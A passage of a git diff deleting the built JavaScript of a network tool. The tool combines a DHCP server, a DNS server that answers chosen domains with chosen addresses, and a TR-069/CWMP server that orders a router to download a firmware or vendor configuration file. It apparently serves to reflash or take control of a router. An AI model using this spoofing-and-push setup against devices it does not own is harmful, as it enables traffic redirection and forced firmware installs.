this._data.write(val, this._w, 'hex'); - } - }; - - SeqBuffer.prototype.getHEX = function(hlen) { - return this._data.toString('hex', this._r, this._r += hlen); - }; - - SeqBuffer.prototype.addMac = function(mac) { - var j, len1, octs, val; - octs = mac.split(/[-:]/); - if (octs.length !== 6) { - throw new Error('Invalid Mac address ' + mac); - } - for (j = 0, len1 = octs.length; j < len1; j++) { - val = octs[j]; - val = parseInt(val, 16); - if (0 <= val && val < 256) { - this.addUInt8(val); - } else { - throw new Error('Invalid Mac address ' + mac); - } - } - this.addUInt32(0); - this.addUInt32(0); - return this.addUInt16(0); - }; - - SeqBuffer.prototype.getMAC = function(htype, hlen) { - var mac; - mac = this._data.toString('hex', this._r, this._r += hlen); - if (htype !== 1 || hlen !== 6) { - throw new Error("Invalid hardware address (len=" + hlen + ", type=" + htype + ")"); - } - this._r += 10; - return mac.toUpperCase().match(/../g).join('-'); - }; - - SeqBuffer.prototype.addBool = function() {}; - - SeqBuffer.prototype.getBool = function() { - return true; - }; - - SeqBuffer.prototype.addOptions = function(ops) { - var i, len, n, opt, results, val; - results = []; - for (i in ops) { - if (!hasProp.call(ops, i)) continue; - val = ops[i]; - opt = opts[i]; - len = 0; - if (val === null) { - i += 4; - continue; - } - switch (opt.type) { - case 'UInt8': - case 'Int8': - len = 1; - break; - case 'UInt16': - case 'Int16': - len = 2; - break; - case 'UInt32': - case 'Int32': - case 'IP': - len = 4; - break; - case 'IPs': - len = val instanceof Array ? 4 * val.length : 4; - break; - case 'ASCII': - len = val.length; - if (len === 0) { - i += 4; - continue; - } - if (len > 255) { - console.error(val + ' too long, truncating...'); - val = val.slice(0, 255); - len = 255; - } - break; - case 'HEX': - len = val.length; - if (len === 0) { - continue; - } - if (len > 255) { - console.error(val + ' too long, truncating...'); - val = val.slice(0, 255); - len = 255; - } - break; - case 'UTF8': - len = Buffer.from(val, 'utf8').length; - if (len === 0) { - i += 4; - continue; - } - n = 0; - while (len > 255) { - val = val.slice(0, 255 - n); - len = Buffer.from(val, 'utf8').length; - n++; - } - break; - case 'Bool': - if (!(val === true || val === 1 || val === '1' || val === 'true' || val === 'TRUE' || val === 'True')) { - n++; - continue; - } - break; - case 'UInt8s': - len = val instanceof Array ? val.length : 1; - break; - case 'UInt16s': - len = val instanceof Array ? 2 * val.length : 2; - break; - default: - throw new Error('No such type ' + opt.type); - } - this.addUInt8(i); - this.addUInt8(len); - results.push(this['add' + opt.type](val)); - } - return results; - }; - - SeqBuffer.prototype.getOptions = function() { - var buf, len, opt, options; - options = {}; - buf = this._data; - while (this._r < buf.length) { - opt = this.getUInt8(); - if (opt === 0xff) { - break; - } else if (opt === 0x00) { - this._r++; - } else { - len = this.getUInt8(); - if (opt in opts) { - options[opt] = this['get' + opts[opt].type](len); - } else { - this._r += len; - console.error("Option " + opt + " not known"); - } - } - } - return options; - }; - - SeqBuffer.prototype.addUInt8s = function(arr) { - var i, results; - if (arr instanceof Array) { - i = 0; - results = []; - while (i < arr.length) { - this.addUInt8(arr[i]); - results.push(i++); - } - return results; - } else { - return this.addUInt8(arr); - } - }; - - SeqBuffer.prototype.getUInt8s = function(len) { - var i, ret; - ret = []; - i = 0; - while (i < len) { - ret.push(this.getUInt8()); - i++; - } - return ret; - }; - - SeqBuffer.prototype.addUInt16s = function(arr) { - var i, results; - if (arr instanceof Array) { - i = 0; - results = []; - while (i < arr.length) { - this.addUInt16(arr[i]); - results.push(i++); - } - return results; - } else { - return this.addUInt16(arr); - } - }; - - SeqBuffer.prototype.getUInt16s = function(len) { - var i, ret; - ret = []; - i = 0; - while (i < len) { - ret.push(this.getUInt16()); - i += 2; - } - return ret; - }; - - SeqBuffer.prototype.getHex = function(len) { - return this._data.toString('hex', this._r, this._r += len); - }; - - return SeqBuffer; - -})(); - -module.exports = SeqBuffer; diff --git a/dist/dhcp/server.js b/dist/dhcp/server.js deleted file mode 100644 index c10f737..0000000 --- a/dist/dhcp/server.js +++ /dev/null @@ -1,443 +0,0 @@ -var BOOTREPLY, BOOTREQUEST, CLIENT_PORT, DHCPACK, DHCPDECLINE, DHCPDISCOVER, DHCPINFORM, DHCPNAK, DHCPOFFER, DHCPRELEASE, DHCPREQUEST, DHCPV6, EventEmitter, INADDR_ANY, INADDR_BROADCAST, Ips, Lease, Options, Protocol, SERVER_PORT, SeqBuffer, Server, Tools, dgram, os, ref, - extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, - hasProp = {}.hasOwnProperty, - indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; }; - -dgram = require('dgram'); - -os = require('os'); - -EventEmitter = require('events').EventEmitter; - -Lease = require('./lease'); - -SeqBuffer = require('./seqbuffer'); - -Options = require('./options'); - -Protocol = require('./protocol'); - -Tools = require('./tools'); - -Ips = require('../ips'); - -ref = require('./constants'), DHCPDISCOVER = ref.DHCPDISCOVER, DHCPOFFER = ref.DHCPOFFER, DHCPREQUEST = ref.DHCPREQUEST, DHCPDECLINE = ref.DHCPDECLINE, DHCPACK = ref.DHCPACK, DHCPNAK = ref.DHCPNAK, DHCPRELEASE = ref.DHCPRELEASE, DHCPINFORM = ref.DHCPINFORM, SERVER_PORT = ref.SERVER_PORT, CLIENT_PORT = ref.CLIENT_PORT, INADDR_ANY = ref.INADDR_ANY, INADDR_BROADCAST = ref.INADDR_BROADCAST, BOOTREQUEST = ref.BOOTREQUEST, BOOTREPLY = ref.BOOTREPLY, DHCPV6 = ref.DHCPV6; - -Server = (function(superClass) { - extend(Server, superClass); - - Server.createServer = function(opt) { - return new Server(opt); - }; - - function Server(config) { - var sock, sock6; - Server.__super__.constructor.call(this); - sock = dgram.createSocket({ - type: 'udp4', - reuseAddr: true - }); - sock.on('message', this.ipv4Message.bind(this)); - sock.on('listening', (function(_this) { - return function() { - return _this.emit('listening', sock, ''); - }; - })(this)); - sock.on('close', (function(_this) { - return function() { - return _this.emit('close'); - }; - })(this)); - sock6 = dgram.createSocket({ - type: 'udp6', - reuseAddr: true - }); - sock6.on('message', this.ipv6Message.bind(this)); - sock6.on('listening', (function(_this) { - return function() { - return _this.emit('listening', sock6, 'v6'); - }; - })(this)); - sock6.on('close', (function(_this) { - return function() { - return _this.emit('close'); - }; - })(this)); - this._sock6 = sock6; - this._sock = sock; - this._conf = config; - this._state = {}; - } - - Server.prototype.ipv4Message = function(buf) { - var e, req; - try { - req = Protocol.parse(buf); - } catch (error) { - e = error; - this.emit('error', e); - return; - } - this.emit('message', req); - if (req.op !== BOOTREQUEST) { - this.emit('error', new Error('Malformed packet'), req); - return; - } - if (!req.options[53]) { - return this.handleRequest(req); - } - switch (req.options[53]) { - case DHCPDISCOVER: - return this.handleDiscover(req); - case DHCPREQUEST: - return this.handleRequest(req); - } - }; - - Server.prototype.ipv6Message = function(buf, rinfo) { - var e, req; - try { - req = Protocol.parseIpv6(buf); - } catch (error) { - e = error; - this.emit('error', e); - return; - } - this.emit('message', req); - return this.emit(DHCPV6.MESSAGETYPE[req.op], req, rinfo); - }; - - Server.prototype.config = function(key) { - var i, optId, ref1, v, val, values; - optId = Options.conf[key]; - if (void 0 !== this._conf[key]) { - val = this._conf[key]; - } else if (void 0 !== Options.opts[optId]) { - val = Options.opts[optId]["default"]; - if (val === void 0) { - return 0; - } - } else { - throw new Error('Invalid option ' + key); - } - if (val instanceof Function) { - val = val.call(this); - } - values = (ref1 = Options.opts[optId]) != null ? ref1["enum"] : void 0; - if ((key !== 'range' && key !== 'static' && key !== 'randomIP') && values) { - for (i in values) { - v = values[i]; - if (v === val) { - return parseInt(i, 10); - } - } - if (values[val] === void 0) { - throw new Error('Provided enum value for ' + key + ' is not valid'); - } else { - val = parseInt(val, 10); - } - } - return val; - }; - - Server.prototype._getOptions = function(pre, required, requested) { - var forceOptions, id, j, k, l, len, len1, len2, option, req, val; - for (j = 0, len = required.length; j < len; j++) { - req = required[j]; - if (Options.opts[req] !== void 0) { - if (pre[req] == null) { - pre[req] = this.config(Options.opts[req].config); - } - if (!pre[req]) { - throw new Error("Required option " + Options.opts[req].config + " does not have a value set"); - } - } else { - this.emit('error', 'Unknown option ' + req); - } - } - if (requested) { - for (k = 0, len1 = requested.length; k < len1; k++) { - req = requested[k]; - if (Options.opts[req] !== void 0 && pre[req] === void 0) { - val = this.config(Options.opts[req].config); - if (val) { - pre[req] = val; - } - } else { - this.emit('error', 'Unknown option ' + req); - } - } - } - forceOptions = this._conf.forceOptions; - if (Array.isArray(forceOptions)) { - for (l = 0, len2 = forceOptions.length; l < len2; l++) { - option = forceOptions[l]; - if (isNaN(option)) { - id = Options.conf[option]; - } else { - id = option; - } - if ((id != null) && pre[id] === void 0) { - pre[id] = this.config(option); - } - } - } - return pre; - }; - - Server.prototype._selectAddress = function(clientMAC, req) { - var _static, _tmp, firstIP, i, ip, ips, lastIP, leases, mac, oldestMac, oldestTime, randIP, ref1, ref2, staticResult, v; - if ((ref1 = this._state[clientMAC]) != null ? ref1.address : void 0) { - return this._state[clientMAC].address; - } - _static = this.config('static'); - if (typeof _static === 'function') { - staticResult = _static(clientMAC, req); - if (staticResult) { - return staticResult; - } - } else if (_static[clientMAC]) { - return _static[clientMAC]; - } - randIP = this.config('randomIP'); - _tmp = this.config('range'); - firstIP = Tools.parseIp(_tmp[0]); - lastIP = Tools.parseIp(_tmp[1]); - ips = [this.config('server')]; - oldestMac = null; - oldestTime = 2e308; - leases = 0; - ref2 = this._state; - for (mac in ref2) { - v = ref2[mac]; - if (v.address) { - ips.push(v.address); - } - if (v.leaseTime < oldestTime) { - oldestTime = v.leaseTime; - oldestMac = mac; - } - leases++; - } - if (oldestMac && lastIP - firstIP === leases) { - ip = this._state[oldestMac].address; - delete this._state[oldestMac]; - return ip; - } - if (randIP) { - while (true) { - ip = Tools.formatIp(firstIP + Math.random() * (lastIP - firstIP) | 0); - if (ips.indexOf(ip) === -1) { - return ip; - } - } - } - i = firstIP; - while (i <= lastIP) { - ip = Tools.formatIp(i); - if (indexOf.call(ips, ip) < 0) { - return ip; - } - i++; - } - }; - - Server.prototype.handleDiscover = function(req) { - var lease; - lease = this._state[req.chaddr] = this._state[req.chaddr] || new Lease; - lease.address = this._selectAddress(req.chaddr, req); - lease.leasePeriod = this.config('leaseTime'); - lease.server = this.config('server'); - lease.state = 'OFFERED'; - console.log('>>> DISCOVER', JSON.stringify(lease)); - return this.sendOffer(req); - }; - - Server.prototype.sendOffer = function(req) { - var ans; - if (req.options[97] && req.options[55].indexOf(97) === -1) { - req.options[55].push(97); - } - if (req.options[60] && req.options[60].indexOf('PXEClient') === 0) { - [66, 67].forEach(function(opt) { - if (req.options[55].indexOf(opt) === -1) { - return req.options[55].push(opt); - } - }); - } - ans = { - op: BOOTREPLY, - htype: 1, - hlen: 6, - hops: 0, - xid: req.xid, - secs: 0, - flags: req.flags, - ciaddr: INADDR_ANY, - yiaddr: this._selectAddress(req.chaddr), - siaddr: this.config('server'), - giaddr: req.giaddr, - chaddr: req.chaddr, - sname: '', - file: '', - options: this._getOptions({ - 53: DHCPOFFER - }, [1, 3, 51, 54, 6], req.options[55]) - }; - console.log('<<< OFFER', JSON.stringify(ans)); - return this._send(this.config('broadcast'), ans); - }; - - Server.prototype.handleRequest = function(req) { - var lease; - lease = this._state[req.chaddr] = this._state[req.chaddr] || new Lease; - lease.address = this._selectAddress(req.chaddr); - lease.leasePeriod = this.config('leaseTime'); - lease.server = this.config('server'); - lease.state = 'BOUND'; - lease.bindTime = new Date; - lease.file = req.file; - console.log('>>> REQUEST', JSON.stringify(lease)); - return this.sendAck(req); - }; - - Server.prototype.sendAck = function(req) { - var ans, options; - if (req.options[97] && req.options[55].indexOf(97) === -1) { - req.options[55].push(97); - } - if (req.options[60] && req.options[60].indexOf('PXEClient') === 0) { - [66, 67].forEach(function(opt) { - if (req.options[55].indexOf(opt) === -1) { - return req.options[55].push(opt); - } - }); - } - options = this._getOptions({ - 53: DHCPACK - }, [1, 3, 51, 54, 6], req.options[55]); - ans = { - op: BOOTREPLY, - htype: 1, - hlen: 6, - hops: 0, - xid: req.xid, - secs: 0, - flags: req.flags, - ciaddr: req.ciaddr, - yiaddr: this._selectAddress(req.chaddr), - siaddr: this.config('server'), - giaddr: req.giaddr, - chaddr: req.chaddr, - sname: '', - file: req.file, - options: options - }; - return this._send(this.config('broadcast'), ans, (function(_this) { - return function() { - return _this.emit('bound', _this._state, ans); - }; - })(this)); - }; - - Server.prototype.sendNak = function(req) { - var ans; - ans = { - op: BOOTREPLY, - htype: 1, - hlen: 6, - hops: 0, - xid: req.xid, - secs: 0, - flags: req.flags, - ciaddr: INADDR_ANY, - yiaddr: INADDR_ANY, - siaddr: INADDR_ANY, - giaddr: req.giaddr, - chaddr: req.chaddr, - sname: '', - file: '', - options: this._getOptions({ - 53: DHCPNAK - }, [54]) - }; - console.log('<<< NAK', JSON.stringify(ans)); - return this._send(this.config('broadcast'), ans); - }; - - Server.prototype.handleRelease = function() {}; - - Server.prototype.handleRenew = function() {}; - - Server.prototype.listen = function(port, host, fn) { - var connacks, ip, onConnect; - if (fn == null) { - fn = function() {}; - } - ip = Ips().find(function(arg) { - var family; - family = arg.family; - return family === 'IPv6'; - }); - connacks = Number(!!ip); - onConnect = function() { - connacks++; - if (connacks === 2) { - return process.nextTick(fn); - } - }; - this._sock.bind(port || SERVER_PORT, host || INADDR_ANY, (function(_this) { - return function() { - _this._sock.setBroadcast(true); - return onConnect(); - }; - })(this)); - if (ip) { - this._sock6.bind(547, '::', (function(_this) { - return function() { - var e; - _this._sock6.setBroadcast(true); - try { - _this._sock6.addMembership('ff02::1', ip.address); - } catch (error) { - e = error; - } - return onConnect(); - }; - })(this)); - } - return this; - }; - - Server.prototype.close = function(callback) { - var connacks, onClose; - connacks = 0; - onClose = function() { - connacks++; - if (connacks === 2) { - return callback(); - } - }; - this._sock.close(onClose); - return this._sock6.close(onClose); - }; - - Server.prototype._send = function(host, data, cb) { - var sb; - if (cb == null) { - cb = function() {}; - } - sb = Protocol.format(data); - return this._sock.send(sb._data, 0, sb._w, CLIENT_PORT, host, function(err, bytes) { - if (err) { - console.log(err); - } - return cb(err, bytes); - }); - }; - - return Server; - -})(EventEmitter); - -module.exports = Server; diff --git a/dist/dhcp/tools.js b/dist/dhcp/tools.js deleted file mode 100644 index f20dcff..0000000 --- a/dist/dhcp/tools.js +++ /dev/null @@ -1,107 +0,0 @@ -module.exports = { - parseIp: function(str) { - var octs; - octs = str.split('.'); - if (octs.length !== 4) { - throw new Error('Invalid IP address ' + str); - } - return octs.reduce(function(prev, val) { - val = parseInt(val, 10); - if (0 <= val && val < 256) { - return prev << 8 | val; - } else { - throw new Error('Invalid IP address ' + str); - } - }, 0); - }, - formatIp: function(num) { - var i, ip; - ip = ''; - i = 24; - while (i >= 0) { - if (ip) { - ip += '.'; - } - ip += (num >>> i & 0xFF).toString(10); - i -= 8; - } - return ip; - }, - netmaskFromCIDR: function(cidr) { - return -1 << 32 - cidr; - }, - netmaskFromIP: function(ip) { - var first; - if (typeof ip === 'string') { - ip = this.parseIp(ip); - } - first = ip >>> 24; - if (first <= 127) { - return 0xff000000; - } else if (first >= 192) { - return 0xffffff00; - } else { - return 0xffff0000; - } - }, - wildcardFromCIDR: function(cidr) { - return ~this.netmaskFromCIDR(cidr); - }, - networkFromIpCIDR: function(ip, cidr) { - if (typeof ip === 'string') { - ip = this.parseIp(ip); - } - return this.netmaskFromCIDR(cidr) & ip; - }, - broadcastFromIpCIDR: function(ip, cidr) { - if (typeof ip === 'string') { - ip = this.parseIp(ip); - } - return this.networkFromIpCIDR(ip, cidr) | this.wildcardFromCIDR(cidr); - }, - CIDRFromNetmask: function(net) { - var d, i, s, t, wild; - if (typeof net === 'string') { - net = this.parseIp(net); - } - s = 0; - d = 0; - t = net & 1; - wild = t; - i = 0; - while (i < 32) { - d += t ^ net & 1; - t = net & 1; - net >>>= 1; - s += t; - i++; - } - if (d !== 1) { - throw new Error('Invalid Netmask ' + net); - } - if (wild) { - s = 32 - s; - } - return s; - }, - gatewayFromIpCIDR: function(ip, cidr) { - if (typeof ip === 'string') { - ip = this.parseIp(ip); - } - if (cidr === 32) { - return ip; - } - return this.networkFromIpCIDR(ip, cidr) + 1; - }, - netmaskFromRange: function(ip1, ip2) { - var cidr; - if (typeof ip1 === 'string') { - ip1 = this.parseIp(ip1); - } - if (typeof ip2 === 'string') { - ip2 = this.parseIp(ip2); - } - cidr = 32 - Math.floor(Math.log2((ip1 ^ ip2 - 1) + 2)) - 1; - return this.netmaskFromCIDR(cidr); - } -}; diff --git a/dist/dns.js b/dist/dns.js deleted file mode 100644 index 64f4cf3..0000000 --- a/dist/dns.js +++ /dev/null @@ -1,319 +0,0 @@ -var EventEmitter, Server, bitSlice, bufferify, bufferifyV4, bufferifyV6, createSocket, dns, domainify, functionify, isIPv6, lookup, parse, qnameify, resolve, response, responseBuffer, - extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, - hasProp = {}.hasOwnProperty; - -EventEmitter = require`events`.EventEmitter; - -createSocket = require('dgram').createSocket; - -isIPv6 = require('net').isIPv6; - -dns = require('dns'); - -bitSlice = function(b, offset, length) { - return b >>> 7 - (offset + length - 1) & ~(0xff << length); -}; - -bufferify = function(ip) { - if (isIPv6(ip)) { - return bufferifyV6(ip); - } else { - return bufferifyV4(ip); - } -}; - -bufferifyV4 = function(ip) { - var base, buf, i, result; - ip = ip.split('.').map(function(n) { - return parseInt(n, 10); - }); - result = 0; - base = 1; - i = ip.length - 1; - while (i >= 0) { - result += ip[i] * base; - base *= 256; - i--; - } - buf = Buffer.alloc(4); - buf.writeUInt32BE(result); - return buf; -}; - -bufferifyV6 = function(rawIp) { - var countColons, hexIp, ip; - countColons = function(x) { - var n; - n = 0; - x.replace(/:/g, function(c) { - return n++; - }); - return n; - }; - ip = rawIp.replace(/\/\d{1,3}(?=%|$)/, '').replace(/%.*$/, ''); - hexIp = ip.replace(/::/, function(two) { - return ':' + Array(7 - countColons(ip) + 1).join(':') + ':'; - }).split(':').map(function(x) { - return Array(4 - x.length).fill('0').join('') + x; - }).join(''); - return Buffer.from(hexIp, 'hex'); -}; - -domainify = function(qname) { - var i, length, offset, parts; - parts = []; - i = 0; - while (i < qname.length && qname[i]) { - length = qname[i]; - offset = i + 1; - parts.push(qname.slice(offset, offset + length).toString()); - i = offset + length; - } - return parts.join('.'); -}; - -qnameify = function(domain) { - var i, offset, qname; - qname = Buffer.alloc(domain.length + 2); - offset = 0; - domain = domain.split('.'); - i = 0; - while (i < domain.length) { - qname[offset] = domain[i].length; - qname.write(domain[i], offset + 1, domain[i].length, 'ascii'); - offset += qname[offset] + 1; - i++; - } - qname[qname.length - 1] = 0; - return qname; -}; - -functionify = function(val) { - return function(addr, callback) { - return callback(null, val); - }; -}; - -parse = function(buf) { - var b, header, question; - header = {}; - question = {}; - b = buf.slice(2, 3).toString('binary', 0, 1).charCodeAt(0); - header.id = buf.slice(0, 2); - header.qr = bitSlice(b, 0, 1); - header.opcode = bitSlice(b, 1, 4); - header.aa = bitSlice(b, 5, 1); - header.tc = bitSlice(b, 6, 1); - header.rd = bitSlice(b, 7, 1); - b = buf.slice(3, 4).toString('binary', 0, 1).charCodeAt(0); - header.ra = bitSlice(b, 0, 1); - header.z = bitSlice(b, 1, 3); - header.rcode = bitSlice(b, 4, 4); - header.qdcount = buf.slice(4, 6); - header.ancount = buf.slice(6, 8); - header.nscount = buf.slice(8, 10); - header.arcount = buf.slice(10, 12); - question.qname = buf.slice(12, buf.length - 4); - question.qtype = buf.slice(buf.length - 4, buf.length - 2); - question.qclass = buf.slice(buf.length - 2, buf.length); - return { - header: header, - question: question - }; -}; - -responseBuffer = function(query) { - var buf, header, i, length, offset, qname, question, rr; - question = query.question; - header = query.header; - qname = question.qname; - offset = 16 + qname.length; - length = offset; - i = 0; - while (i < query.rr.length) { - length += query.rr[i].qname.length + 10; - i++; - } - buf = Buffer.alloc(length); - header.id.copy(buf, 0, 0, 2); - buf[2] = 0x00 | header.qr << 7 | header.opcode << 3 | header.aa << 2 | header.tc << 1 | header.rd; - buf[3] = 0x00 | header.ra << 7 | header.z << 4 | header.rcode; - buf.writeUInt16BE(header.qdcount, 4); - buf.writeUInt16BE(header.ancount, 6); - buf.writeUInt16BE(header.nscount, 8); - buf.writeUInt16BE(header.arcount, 10); - qname.copy(buf, 12); - question.qtype.copy(buf, 12 + qname.length, question.qtype, 2); - question.qclass.copy(buf, 12 + qname.length + 2, question.qclass, 2); - i = 0; - while (i < query.rr.length) { - rr = query.rr[i]; - rr.qname.copy(buf, offset); - offset += rr.qname.length; - buf.writeUInt16BE(rr.qtype, offset); - buf.writeUInt16BE(rr.qclass, offset + 2); - buf.writeUInt32BE(rr.ttl, offset + 4); - buf.writeUInt16BE(rr.rdlength, offset + 8); - buf = Buffer.concat([buf, rr.rdata]); - offset += 14; - i++; - } - return buf; -}; - -response = function(query, ttl, to) { - var header, question, rrs; - response = {}; - header = response.header = {}; - question = response.question = {}; - rrs = resolve(query.question.qname, ttl, to); - header.id = query.header.id; - header.ancount = rrs.length; - header.qr = 1; - header.opcode = 0; - header.aa = 0; - header.tc = 0; - header.rd = 1; - header.ra = 0; - header.z = 0; - header.rcode = 0; - header.qdcount = 1; - header.nscount = 0; - header.arcount = 0; - question.qname = query.question.qname; - question.qtype = query.question.qtype; - question.qclass = query.question.qclass; - response.rr = rrs; - return responseBuffer(response); -}; - -resolve = function(qname, ttl, to) { - var r; - r = {}; - r.qname = qname; - r.qtype = to.length === 4 ? 1 : 28; - r.qclass = 1; - r.ttl = ttl; - r.rdlength = to.length; - r.rdata = to; - return [r]; -}; - -lookup = function(addr, callback) { - if (net.isIP(addr)) { - return callback(null, addr); - } - return dns.lookup(addr, callback); -}; - -Server = (function(superClass) { - extend(Server, superClass); - - function Server(proxy) { - var routes; - if (proxy == null) { - proxy = '8.8.8.8'; - } - Server.__super__.constructor.apply(this, arguments); - this._socket = createSocket(isIPv6(proxy) ? 'udp6' : 'udp4'); - routes = []; - this._socket.on('message', (function(_this) { - return function(message, rinfo) { - var domain, i, onerror, onproxy, query, respond, route, routeData; - query = parse(message); - domain = domainify(query.question.qname); - routeData = { - domain: domain, - rinfo: rinfo - }; - _this.emit('resolve', routeData); - respond = function(buf) { - return _this._socket.send(buf, 0, buf.length, rinfo.port, rinfo.address); - }; - onerror = function(err) { - return _this.emit('error', err); - }; - onproxy = function() { - var sock; - sock = createSocket(isIPv6(proxy) ? 'udp6' : 'udp4'); - sock.send(message, 0, message.length, 53, proxy); - sock.on('error', onerror); - return sock.on('message', function(response) { - respond(response); - return sock.close(); - }); - }; - i = 0; - while (i < routes.length) { - if (routes[i].pattern.test(domain)) { - route = routes[i].route; - break; - } - i++; - } - if (!route) { - return onproxy(); - } - return route(routeData, function(err, to) { - var toIp, ttl; - if (typeof to === 'string') { - toIp = to; - ttl = 1; - } else { - toIp = to.ip; - ttl = to.ttl; - } - if (err) { - return onerror(err); - } - if (!toIp) { - return onproxy(); - } - return lookup(toIp, function(err, addr) { - if (err) { - return onerror(err); - } - _this.emit('route', domain, addr); - return respond(response(query, ttl, bufferify(addr))); - }); - }); - }; - })(this)); - } - - Server.prototype.route = function(pattern, route) { - if (Array.isArray(pattern)) { - pattern.forEach((function(_this) { - return function(item) { - return _this.route(item, route); - }; - })(this)); - return this; - } - if (typeof pattern === 'function') { - return this.route('*', pattern); - } - if (typeof route === 'string') { - return this.route(pattern, functionify(route)); - } - pattern = pattern === '*' ? /.?/ : new RegExp('^' + pattern.replace(/\./g, '\\.').replace(/\*\\\./g, '(.+)\\.') + '$', 'i'); - routes.push({ - pattern: pattern, - route: route - }); - return this; - }; - - Server.prototype.listen = function(port) { - this._socket.bind(port || 53); - return this; - }; - - Server.prototype.close = function(callback) { - this._socket.close(callback); - return this; - }; - - return Server; - -})(EventEmitter); diff --git a/dist/get-port.js b/dist/get-port.js deleted file mode 100644 index 0117adc..0000000 --- a/dist/get-port.js +++ /dev/null @@ -1,24 +0,0 @@ -var args, createServer; - -createServer = require('net').createServer; - -args = require('./args'); - -module.exports = function() { - return new Promise(function(resolve, reject) { - var server; - if (args.port) { - return resolve(args.port); - } - server = createServer(); - server.unref(); - server.on('error', reject); - return server.listen(0, function() { - var port; - port = server.address().port; - return server.close(function() { - return resolve(port); - }); - }); - }); -}; diff --git a/dist/http/cwmp/index.js b/dist/http/cwmp/index.js deleted file mode 100644 index b9d1fe0..0000000 --- a/dist/http/cwmp/index.js +++ /dev/null @@ -1,146 +0,0 @@ -'use strict'; -var args, createSoapEnv, device, env, file, fileTypes, finished, methods, parse, ref, request, response, set, stage; - -ref = require('./xml'), parse = ref.parse, methods = ref.methods, createSoapEnv = ref.createSoapEnv, fileTypes = ref.fileTypes; - -file = require('../file'); - -args = require('../../args'); - -stage = null; - -device = {}; - -env = []; - -finished = false; - -set = function(obj, key, value) { - var attr, attrs, i, j, len; - attrs = key.split('.'); - for (i = j = 0, len = attrs.length; j < len; i = ++j) { - attr = attrs[i]; - if (i === attrs.length - 1) { - obj[attr] = value; - } else { - obj = obj[attr] != null ? obj[attr] : obj[attr] = {}; - } - } - return obj; -}; - -request = function(url, req, res) { - var body, cwmp, cwmpVersion, element, header, idElement, input, k, key, params, ref1, ref2, ref3, ref4, ref5, str, v, value, xml; - if (req.body.length > 0) { - console.log('>>> REQUEST'); - console.dir([req.headers, req.body]); - xml = parse(req.body); - element = xml['soapenv:Envelope']; - body = element['soapenv:Body']; - header = element['soapenv:Header']; - ref1 = element.attributes; - for (k in ref1) { - v = ref1[k]; - if (!((k != null) && (v != null))) { - return; - } - str = k.replace('soapenv', 'soap-env') + '=\'' + v + '\''; - if (env.indexOf(str) === -1) { - env.push(str); - } - } - res.name = stage = Object.keys(body)[0]; - cwmp = (ref2 = element.attributes) != null ? ref2['xmlns:cwmp'] : void 0; - ref3 = /urn:dslforum-org:cwmp-(\d+-\d+)/.exec(cwmp) || [cwmp, '1-2'], input = ref3[0], cwmpVersion = ref3[1]; - res.cwmpVersion = cwmpVersion.replace(/-/g, '.'); - idElement = header['cwmp:ID']; - if (idElement) { - res.id = req.id = idElement; - } - ref4 = body[stage]; - for (key in ref4) { - value = ref4[key]; - res[key] = value; - } - if (((ref5 = res.ParameterList) != null ? ref5.ParameterValueStruct : void 0) != null) { - params = res.ParameterList.ParameterValueStruct; - res.params = Object.keys(params).reduce(function(obj, k) { - if (typeof params[k] === 'string') { - set(obj, k, params[k]); - } - return obj; - }, {}); - device = res.params.Device || res.params.InternetGatewayDevice || {}; - } - res.name += 'Response'; - } else if (stage === 'cwmp:Inform') { - console.log('>>> EMPTY REQUEST'); - console.dir([req.headers, req.body]); - res.name = 'cwmp:Download'; - if (args.fileType && (fileTypes[args.fileType] != null)) { - res.fileType = fileTypes[args.fileType]; - } else { - res.fileType = (function() { - switch (file.ext) { - case '.rbi': - return '1 Firmware Upgrade Image'; - case '.sts': - return '3 Vendor Configuration File'; - } - })(); - } - res.fileSize = file.data.length; - res.url = "" + url + file.name; - } - res.env = env.join(' '); - return response(res); -}; - -response = function(res) { - var code, data, headers; - headers = { - 'Content-Type': 'text/xml; charset="utf-8"', - 'Server': 'ACSServer', - 'SOAPServer': 'ACSServer' - }; - code = 404; - data = null; - if (res.name && (methods[res.name] != null)) { - if (res.id == null) { - res.id = '1690d26c77f0000'; - } - data = createSoapEnv(res, headers); - code = 200; - headers['Content-Length'] = data.length; - if (res.name === 'cwmp:TransferCompleteResponse') { - finished = true; - } - } else if (finished) { - code = 204; - headers['Connection'] = "close"; - headers['Content-Length'] = 0; - console.log('<<< EMPTY RESPONSE'); - } - console.dir([code, headers, data]); - res.writeHead(code, headers); - res.end(data); -}; - -module.exports = function(url) { - return function(req, res) { - var COOKIE_REGEX, match; - COOKIE_REGEX = /\s*([a-zA-Z0-9\-_]+?)\s*=\s*"?([a-zA-Z0-9\-_]*?)"?\s*(,|;|$)/g; - while (match = COOKIE_REGEX.exec(req.headers.cookie)) { - if (match[1] === 'session') { - res.id = match[2]; - } - } - req.body = ''; - req.on('data', function(chunk) { - return req.body += chunk; - }); - req.on('end', function() { - return request(url, req, res); - }); - }; -}; diff --git a/dist/http/cwmp/xml.js b/dist/http/cwmp/xml.js deleted file mode 100644 index 3543a07..0000000 --- a/dist/http/cwmp/xml.js +++ /dev/null @@ -1,135 +0,0 @@ -var methods; - -exports.parse = function(xml) { - var attribute, content, declaration, eos, has, match, name, obj, obj1, ref, tag; - declaration = function() { - var attr, m, node; - m = match(/^<\?xml\s*/); - if (!m) { - return; - } - node = {}; - while (!(eos() || has('?>'))) { - attr = attribute(); - if (!attr) { - return node; - } - if (node.attributes == null) { - node.attributes = {}; - } - node.attributes[attr.name] = attr.value; - } - match(/\?>\s*/); - return node; - }; - tag = function() { - var attr, c, child, m, name1, node; - m = match(/^<([\w-:.]+)\s*/); - if (!m) { - return; - } - node = {}; - while (!(eos() || has('>') || has('?>') || has('/>'))) { - attr = attribute(); - if (!attr) { - return [m[1], node]; - } - if (node.attributes == null) { - node.attributes = {}; - } - node.attributes[attr.name] = attr.value; - } - if (match(/^\s*\/>\s*/)) { - return [m[1], node]; - } - match(/\??>\s*/); - c = content(); - if (c) { - node = c; - } - while (child = tag()) { - if (child[1].Name && child[1].Value) { - if (node[name1 = child[0]] == null) { - node[name1] = {}; - } - node[child[0]][child[1].Name] = 